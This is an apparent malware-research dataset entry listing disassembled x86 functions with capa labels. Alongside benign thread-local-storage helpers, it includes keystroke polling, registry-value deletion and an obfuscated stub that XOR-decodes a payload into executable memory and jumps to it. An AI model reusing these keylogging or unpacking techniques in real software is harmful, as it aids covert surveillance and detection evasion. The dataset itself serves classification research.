joyce8/EMBER2024-capa huggingface dataset:
Function at 0x507dc0
Capabilities:
Get thread local storage value

Disassembly:
mov eax, dword [0x551d48]
test eax, eax
jge 0x507dcd
xor eax, eax
jmp 0x507dd4
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
cmp dword [eax + 8], 0
je 0x507df9
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x507de4
xor eax, eax
ret
mov edx, dword [ecx]
mov dword [eax + 8], edx
test edx, edx
jne 0x507df0
mov dword [eax + 0xc], edx
mov dword [ecx], 0xfefefefe
mov eax, ecx
ret
mov ecx, dword [eax + 4]
push 0x10
push 0xf0
call fcn.004f2380
ret

Function at 0x507e10
Capabilities:
Get thread local storage value

Disassembly:
test esi, esi
je 0x507e59
mov eax, dword [0x551d48]
push edi
test eax, eax
jge 0x507e22
xor edi, edi
jmp 0x507e2b
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, eax
push 0xf0
push 0xfe
push esi
call sub.msvcrt.dll_memset
mov dword [esi], 0
mov eax, dword [edi + 0xc]
add esp, 0xc
test eax, eax
je 0x507e52
mov dword [eax], esi
mov dword [edi + 0xc], esi
pop edi
ret
mov dword [edi + 8], esi
mov dword [edi + 0xc], esi
pop edi
ret

Function at 0x50a890
Capabilities:
Get thread local storage value

Disassembly:
cmp word [esi + 0x40], 0
push edi
mov edi, dword [sym.imp.kernel32.dll_TlsGetValue]
je 0x50a8df
mov eax, dword [0x551d48]
test eax, eax
jge 0x50a8ab
xor eax, eax
jmp 0x50a8ae
push eax
call edi
movzx ecx, word [esi + 0x40]
cmp ecx, dword [eax + 0x124]
ja 0x50a8d6
mov edx, dword [esi + 4]
mov eax, dword [eax + 0x120]
shl ecx, 4
lea eax, [ecx + eax - 0x10]
test edx, edx
je 0x50a8d6
mov ecx, dword [eax + 4]
mov dword [edx], ecx
mov dword [eax + 4], edx
xor edx, edx
mov word [esi + 0x40], dx
mov dword [esi + 4], edx
cmp word [esi + 0x42], 0
je 0x50a927
mov eax, dword [0x551d48]
test eax, eax
jge 0x50a8f3
xor eax, eax
jmp 0x50a8f6
push eax
call edi
movzx ecx, word [esi + 0x42]
cmp ecx, dword [eax + 0x124]
ja 0x50a91e
mov edx, dword [esi + 0xc]
mov eax, dword [eax + 0x120]
shl ecx, 4
lea eax, [ecx + eax - 0x10]
test edx, edx
je 0x50a91e
mov ecx, dword [eax + 4]
mov dword [edx], ecx
mov dword [eax + 4], edx
xor edx, edx
mov word [esi + 0x42], dx
mov dword [esi + 0xc], edx
pop edi
ret

Function at 0x50cb90
Capabilities:
Get thread local storage value

Disassembly:
test esi, esi
je 0x50cbd6
mov eax, dword [0x551d48]
test eax, eax
jl 0x50cbd6
push edi
push eax
call dword [sym.imp.kernel32.dll_TlsGetValue]
mov edi, eax
test edi, edi
je 0x50cbd5
push 0x44
push 0xfe
push esi
call sub.msvcrt.dll_memset
mov dword [esi], 0
mov eax, dword [edi + 0x18]
add esp, 0xc
test eax, eax
je 0x50cbcf
mov dword [eax], esi
mov dword [edi + 0x18], esi
pop edi
ret
mov dword [edi + 0x14], esi
mov dword [edi + 0x18], esi
pop edi
ret
Function at 0x10024e56
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
pushal
call 0x10024e65
pop dword [ebp - 0x2c]
mov eax, 0x10024e65
sub dword [ebp - 0x2c], eax
push 0x40
push 0x1000
push 0x412d5
push 0
mov eax, 0xd97b59dd
add eax, 0x368c273f
add eax, dword [ebp - 0x2c]
call dword [eax]
mov ecx, 0xfd1df0a7
add ecx, 0x2e25024
mov esi, eax
mov edx, 0xe2412382
sub edx, 0xd228af82
add edx, dword [ebp - 0x2c]
mov ebx, 0xda1abc3d
sub ebx, 0x409d3cf0
add dword [ebp - 4], eax
mov edi, dword [edx]
mov dword [ebp - 0x10], 0xf1b4c39d
xor edi, ebx
mov dword [ebp - 0x10], 0x8aa603e0
mov dword [esi], edi
add dword [ebp - 0x1c], 0x855a8d99
add esi, 0x93cfb619
sub esi, 0x93cfb615
add edx, 4
loop 0x10024ebf
add eax, 0xb1f720f8
sub eax, 0xb1f62af9
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0xed418170
sub ecx, 0xdd418170
add ecx, dword [ebp - 0x2c]
call ebx
leave
ret
Function at 0x10017e2a
Capabilities:
Get common file path
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x10017e93
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10017e73
mov byte [ebp - 1], 0
push 1
push 0x69c7
push 0x1342
lea eax, [ebp - 1]
push eax
push 0
push 0x4fe9
call fcn.100171bf
add esp, 0x18
jmp 0x10017e91
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x10017e91
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10017ebb
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10017eb1
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetClassLongA]
jmp 0x10017ebb
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x1001acda
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1001add9
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], 0xafd
mov dword [ebp - 0x20], 0x1000863c
cmp dword [ebp - 0x14], 0xbf3
jle 0x1001ad98
and dword [ebp - 0x10], 0
jmp 0x1001ad20
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x315a
jge 0x1001ad98
and dword [ebp - 0xc], 0
jmp 0x1001ad36
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x592d
jge 0x1001ad96
and dword [ebp - 4], 0
jmp 0x1001ad4c
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4d6c
jge 0x1001ad94
and dword [ebp - 8], 0
jmp 0x1001ad62
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x2a39
jge 0x1001ad92
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
shl eax, cl
or eax, dword [ebp - 0x10]
cdq
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], edx
push dword [ebp - 0x34]
push dword [ebp - 0x38]
mov ecx, 0x1008bbb8
call fcn.1001fc14
jmp 0x1001ad5b
jmp 0x1001ad45
jmp 0x1001ad2f
jmp 0x1001ad19
push 0x121b
push 0x6f72
push 0x7b92
push 0x6b5f
push 1
push dword [ebp - 0x18]
push 0x3a14
push dword [ebp - 0x1c]
call fcn.1001ae21
add esp, 0x20
cmp dword [ebp - 0x14], 0x994
jge 0x1001add7
mov edx, dword [ebp - 0x20]
mov ecx, 0x1008bbb8
call fcn.100228da
jmp 0x1001ae1d
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x28], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x1001adfd
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_PlayEnhMetaFile]
jmp 0x1001ae1d
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
movzx eax, byte [eax]
test eax, eax
je 0x1001ae1d
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret

Function at 0x1001ca08
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1001ca30
mov eax, dword [ebp + 0xc]
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 1
push 0x7c8b
call fcn.1001ca7a
add esp, 0xc
jmp 0x1001ca76
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1001ca52
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1001ca76
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x1001ca76
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_RedrawWindow]
mov esp, ebp
pop ebp
ret
Function at 0x10024080
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x100240b6
mov eax, dword [ebp + 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
push 1
push dword [ebp - 8]
push dword [ebp - 0xc]
push 0x7adc
push 0x6665
call fcn.1002412d
add esp, 0x14
jmp 0x10024129
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x10]
movzx eax, byte [eax]
test eax, eax
je 0x1002411f
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10024100
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 3
jge 0x1002411d
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x24]
call fcn.1001ffcc
mov dword [eax], 0x15d7249a
jmp 0x100240f5
jmp 0x10024129
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov esp, ebp
pop ebp
ret
Function at 0x10025a89
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10025ab8
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
push 1
push dword [ebp - 0x10]
push dword [ebp - 0x14]
call fcn.10025b73
add esp, 0xc
jmp 0x10025b6f
lea eax, [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
movzx eax, byte [eax]
test eax, eax
je 0x10025b67
mov dword [ebp - 0xc], 0x34a
mov dword [ebp - 0x20], 0x100092e0
cmp dword [ebp - 0xc], 0x503
jle 0x10025b4b
and dword [ebp - 4], 0
jmp 0x10025af0
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x4c16
jge 0x10025b4b
and dword [ebp - 8], 0
jmp 0x10025b06
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x25c2
jge 0x10025b49
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 8]
cdq
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], edx
push dword [ebp - 0x24]
push dword [ebp - 0x28]
lea ecx, [ebp - 0x40]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x40]
call fcn.1001fbea
jmp 0x10025aff
jmp 0x10025ae9
push 0
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
cmp dword [ebp - 0xc], 0x307
jge 0x10025b65
push dword [ebp - 0x20]
call fcn.100714f3
pop ecx
jmp 0x10025b6f
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esp, ebp
pop ebp
ret
Function at 0x10048a3d
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
movzx eax, byte [ebp + 8]
test eax, eax
je 0x10048ad4
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0xc], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10048ab4
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10048a9f
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 1
jg 0x10048ab2
mov eax, dword [ebp - 0x1c]
mov dword [eax], 0xfffffff6
jmp 0x10048a94
jmp 0x10048ad2
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x10048ad2
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
jmp 0x10048afa
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x2c], eax
push 0x7ed9
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
push 0x7dd0
push 0
call fcn.1004d7b5
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x100533de
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1005340a
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 4], eax
push dword [ebp - 4]
push 0
push dword [ebp - 8]
call fcn.1005570a
add esp, 0xc
jmp 0x1005343f
lea eax, [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x10053437
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
mov dword [eax], 0xeb859678
jmp 0x1005343f
push 0
call dword [sym.imp.USER32.dll_GetKeyboardState]
mov esp, ebp
pop ebp
ret
Function at 0x10054c22
Capabilities:
Delete registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x10054c70
lea eax, [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x10054c4c
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
jmp 0x10054c6e
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x10054c6e
push 0x5055
push 0
push 0x46e4
push 1
call fcn.1004ec41
add esp, 0x10
jmp 0x10054c8c
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
push dword [ebp - 0x10]
push 0
call fcn.100681b8
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x1005af30
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1005b012
lea eax, [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1005affa
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 8]
mov dword [eax], 0
jmp 0x1005afb4
mov eax, dword [ebp - 8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 8]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0x16
jg 0x1005aff8
push 0
push 0x404a
push dword [ebp - 0x30]
push 0x2eec
push 1
push 0x1c49
push 0x2221
call fcn.10063df8
add esp, 0x1c
push 1
push 0
push dword [ebp - 0x34]
push dword [ebp - 0x38]
push 0x757f
call fcn.10055727
add esp, 0x14
jmp 0x1005afa9
jmp 0x1005b010
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1005b010
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1005b026
push 0x7029
push 0x36b1
push 1
call fcn.10053dfd
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x1005b6bd
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
movzx eax, byte [ebp + 0x1c]
test eax, eax
je 0x1005b730
lea eax, [ebp + 0xc]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
movzx eax, byte [eax]
test eax, eax
je 0x1005b704
mov byte [ebp - 1], 0
movzx eax, byte [ebp - 1]
test eax, eax
je 0x1005b702
push 0x852
push 0
push 1
push 0x5f62
push 0x2333
call fcn.10057f92
add esp, 0x14
jmp 0x1005b72b
mov byte [ebp - 2], 0
movzx eax, byte [ebp - 2]
test eax, eax
je 0x1005b72b
push 0x738e
push 1
push 0
push 0x49e7
push 0x6d41
call fcn.1005756f
add esp, 0x14
jmp 0x1005b7c6
lea eax, [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1005b764
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x1005b7c6
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
push dword [eax]
push dword [ebp - 0x34]
mov eax, dword [ebp - 0x38]
push dword [eax]
push 0x4475
push 0
mov eax, dword [ebp - 0x3c]
push dword [eax]
push 0x7b97
push 0x3bd1
push 0
push 0x2642
call fcn.1004cf00
add esp, 0x28
mov esp, ebp
pop ebp
ret
Function at 0x100617b3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x10061937
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x3c], eax
lea eax, [ebp + 8]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x18], 0x6cd3
mov dword [ebp - 0x20], 0x1000e2d8
cmp dword [ebp - 0x18], 0x6fc7
jle 0x100618a6
push 0
call dword [sym.imp.USER32.dll_UpdateWindow]
and dword [ebp - 8], 0
jmp 0x10061807
mov eax, dword [ebp - 8]
inc eax
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0x6059
jge 0x100618a6
and dword [ebp - 0xc], 0
jmp 0x10061821
mov eax, dword [ebp - 0xc]
inc eax
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x26cd
jge 0x100618a1
and dword [ebp - 0x10], 0
jmp 0x10061837
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0x2ab2
jge 0x1006189c
and dword [ebp - 0x14], 0
jmp 0x1006184d
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x3def
jge 0x1006189a
mov ecx, dword [ebp - 8]
and ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
cdq
idiv dword [ebp - 0x14]
and ecx, edx
mov eax, ecx
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
lea ecx, [ebp - 0x78]
call fcn.10010ffe
pop ecx
pop ecx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x1c]
call fcn.1001fbf4
push eax
call fcn.100714f3
pop ecx
lea ecx, [ebp - 0x78]
call fcn.1001fbea
jmp 0x10061846
jmp 0x10061830
jmp 0x1006181a
jmp 0x10061800
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x18], 0x6c0d
jge 0x100618be
push dword [ebp - 0x20]
call fcn.100714f3
pop ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [eax]
test eax, eax
je 0x10061915
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x100618f6
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 3
jge 0x10061913
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x38]
call fcn.1001ffcc
mov dword [eax], 0x9d3b05e2
jmp 0x100618eb
jmp 0x10061935
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
movzx eax, byte [eax]
test eax, eax
je 0x10061935
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
jmp 0x1006196e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp + 0x2c]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp + 0x24]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x50], eax
push 1
push dword [ebp - 0x48]
push dword [ebp - 0x4c]
push dword [ebp - 0x50]
push dword [ebp - 0x54]
push dword [ebp - 0x58]
call fcn.1004c653
add esp, 0x18
mov esp, ebp
pop ebp
ret
Function at 0x1006c81c
Capabilities:
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov byte [ebp - 8], dl
push ebx
push esi
push edi
test dl, dl
je 0x1006c8e4
mov dword [ebp - 0x18], 0x53a5
cmp dword [ebp - 0x18], 0x56ea
push 0
pop ebx
jle 0x1006c8a3
mov edi, ebx
mov esi, ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0x10], 0x45ec
mov esi, ebx
mov ebx, dword [ebp - 0xc]
mov ecx, esi
mov eax, ebx
sar eax, cl
mov ecx, 0x1008bbb8
xor eax, edi
cdq
push edx
push eax
call fcn.1001fc14
inc esi
cmp esi, 0x49ec
jl 0x1006c859
dec ebx
dec dword [ebp - 0x10]
push 0
mov dword [ebp - 0xc], ebx
pop ebx
jne 0x1006c854
mov esi, dword [ebp - 0x14]
inc esi
mov dword [ebp - 0x14], esi
cmp esi, 0x3a15
jl 0x1006c84a
inc edi
cmp edi, 0x1d9f
jl 0x1006c845
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
mov dword [ebp - 0x14], 3
cmp dword [ebp - 0x18], 0x51a6
jge 0x1006c8c2
mov edx, 0x1000f834
mov ecx, 0x1008bbb8
call fcn.100228da
push 0x692b
xor dl, dl
mov cl, 1
call fcn.1006c81c
pop ecx
lea eax, [ebp - 1]
mov byte [ebp - 1], bl
push eax
mov dl, 1
xor cl, cl
call fcn.1006c676
pop ecx
jmp 0x1006c8f6
xor ebx, ebx
mov byte [ebp - 2], bl
cmp byte [ebp - 2], bl
je 0x1006c8f6
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret